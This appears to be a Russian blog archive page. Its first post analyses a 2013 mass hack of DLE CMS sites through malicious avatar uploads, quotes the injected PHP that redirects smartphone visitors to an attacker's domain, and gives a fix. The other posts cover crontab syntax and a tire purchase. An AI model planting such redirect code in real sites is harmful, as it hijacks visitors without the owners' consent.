Home › Monthly Archives › Январь 2013

Взлом DLE загрузкой аватара с вредоносным кодом

Этот новый год начался забавно.
Много лет в известном всем движке CMS DLE существовала уязвимость и никто на нее не обращал внимание. Но вот в начале этого года примерно с 6 января, видимо устав от празднования Нового года, хакер под псевдонимом tehApocalypse взломал несколько десятков тысяч сайтов на CMS DLE.

Взлом заключался во внедрении кода в несколько файлов DLE для перенаправления посетителей зараженных сайтов на сайт злоумышленника.

index.php
engine/engine.php
engine/init.php
engine/data/config.php
engine/data/dbconfig.php

Перенаправление происходило только для пользователей сматфонов и прочих продвинутых телефонов.

$iphone = strpos($_SERVER['HTTP_USER_AGENT'],"iPhone");
$android = strpos($_SERVER['HTTP_USER_AGENT'],"Android");
$palmpre = strpos($_SERVER['HTTP_USER_AGENT'],"webOS");
$berry = strpos($_SERVER['HTTP_USER_AGENT'],"BlackBerry");
$ipod = strpos($_SERVER['HTTP_USER_AGENT'],"iPod");

if ($iphone || $android || $palmpre || $ipod || $berry === true) {
header('Location: http://statuses.ws/');
}

Итак как же исправить эту уязвимость в DLE?

В нескольких файлах, в которых мы можем редактировать профиль пользователя и загружать аватар для этого пользователя есть такой код:

 

if( $thumb->size_auto( $user_group[$member_id['user_group']]['max_foto'] ) ) {
$thumb->jpeg_quality( $config['jpeg_quality'] );
$thumb->save( ROOT_DIR . "/uploads/fotos/foto_" . $id . "." . $type );
} else {
@rename( ROOT_DIR . "/uploads/fotos/" . $id . "." . $type, ROOT_DIR . "/uploads/fotos/foto_" . $id . "." . $type );
}

Так вот все дело в этой строчке

@rename( ROOT_DIR . "/uploads/fotos/" . $id . "." . $type, ROOT_DIR . "/uploads/fotos/foto_" . $id . "." . $type );

Т.е. если аватар не надо изменять по размеру то исходный инжектированный файл копируется в первоначальном виде для дальнейшего использования.

Необходимо преобразовать этот блок кода в новый:

$thumb->size_auto( $user_group[$member_id['user_group']]['max_foto'] );
$thumb->jpeg_quality( $config['jpeg_quality'] );
$thumb->save( ROOT_DIR . "/uploads/fotos/foto_" . $id . "." . $type );

После этого загрузить аватар с вредоносным кодом будет невозможно.
Файлы для редактирования:

engine/inc/editusers.php
engine/modules/register.php
engine/modules/profile.php

Удачи!

Crontab синтаксис

Доступ в каталог /var/spool/cron непривилегированому пользователю закрыт, что бы посмотреть юзером «user» есть ли у него файл crontab, достаточно набрать команду crontab -l , если файл существует-будет показано его содержимое.

Для удаления файла используется команда crontab -r

Для редактирования crontab -e

Для управления файлами crontab пользователем «root» используется синтаксис:

crontab -u user_name file — создание файла crontab из файла «file» для  юзера «user_name»

-u означает чей crontab будет обработан, если опция не задана, то будет обработан crontab того пользователя,  который запустил команду crontab.

crontab -u user_name -l — просмотр файла crontab юзера «user_name»
crontab -u user_name -r — удаление файла crontab юзера «user_name»
crontab -u user_name -e — редактирование файла crontab  юзера «user_name» используя редактор, заданный переменной окружения VISUAL или EDITOR

Формат и значения полей

Каждая команда в пользовательском файле crontab занимает одну строку и состоит из шести полей. Пользовательские файлы crontab находятся в каталоге /var/spool/cron

Общий формат команды:

минута час день_месяца месяц день_недели команда

Допустимые значения:
минута от 0 до 59
час от 0 до 23
день_месяца от 1 до 31
месяц от 1 до 12 (можно три буквы из названия месяца,  регистр не имеет значения от jan до dec)
день_недели от 0 до 6  (0 это воскресенье,  можно писать от sun до sat)

Каждое из полей даты и времени может быть обозначено символом * , будет соответствовать любому возможному значению. Для этих полей можно указывать диапазоны значений, разделенных дефисом, например:
* 5 4-10 0-3 * echo «HELLO» — печать HELLO в 5:00 на 4,5,6,7,8,9,10 дни января, февраля, марта и апреля

пошаговая запись
* */2 * * sat echo «HELLO» — печать HELLO каждый четный час,   каждую субботу

равнозначная предыдущему примеру запись (списком)
* 0,2,4,6,8,10,12,14,16,18,20,22 * * sat echo «HELLO» — печать HELLO каждый четный час, каждую субботу

то же самое с указанием диапазона
* 0-23/2 * * sat echo «HELLO» -печать HELLO каждый четный  час, каждую субботу

59 23 31 dec * echo «Happy new year» —  поздравит с новым годом

Для отладки задания cron, можно перенаправить результат в файл

Пример:
0-59 * * * * /home/user/mail 2>/tmp/tmp.cron

Если при запуске команды /home/user/mail возникнут ошибки, то они будут записаны в файл /tmp/tmp.cron и вы всегда сможете узнать причину. В случае перенаправления вывода в файл, письмо, юзеру указаному в переменной MAILTO отправлено не будет.

Посмотреть информацию о всех командах запускаемых демоном cron можно в каталоге /var/log называются cron, cron1 и т.д.

В файле /var/log/cron записано время запуска всех заданий cron за предыдущий день
Mar 29 04:03:00 rst CROND[4434]: (user) CMD (/home/user/mail)
Mar 29 04:03:59 rst CROND[4493]: (user) CMD (/home/user/mail)
Mar 29 04:05:00 rst CROND[4507]: (user) CMD (/home/user/mail)
Mar 29 04:06:00 rst CROND[4549]: (user) CMD (/home/user/mail)

В остальных файлах cron1,cron2 находится подобная информация, но более старая чем в cron

Вот практически и все, что требуется знать для использования cron и crontab.

Диски и резина из Японии

Заказал я себе резину с дисками, оригинал для Mazda Tribute из Японии.

И решил найти продавца, чтоб удостовериться в «чистоте» товара.

Посмотрел фото магазина

и нашел этот магазин в гуглемэпс

Будем ждать посылочку…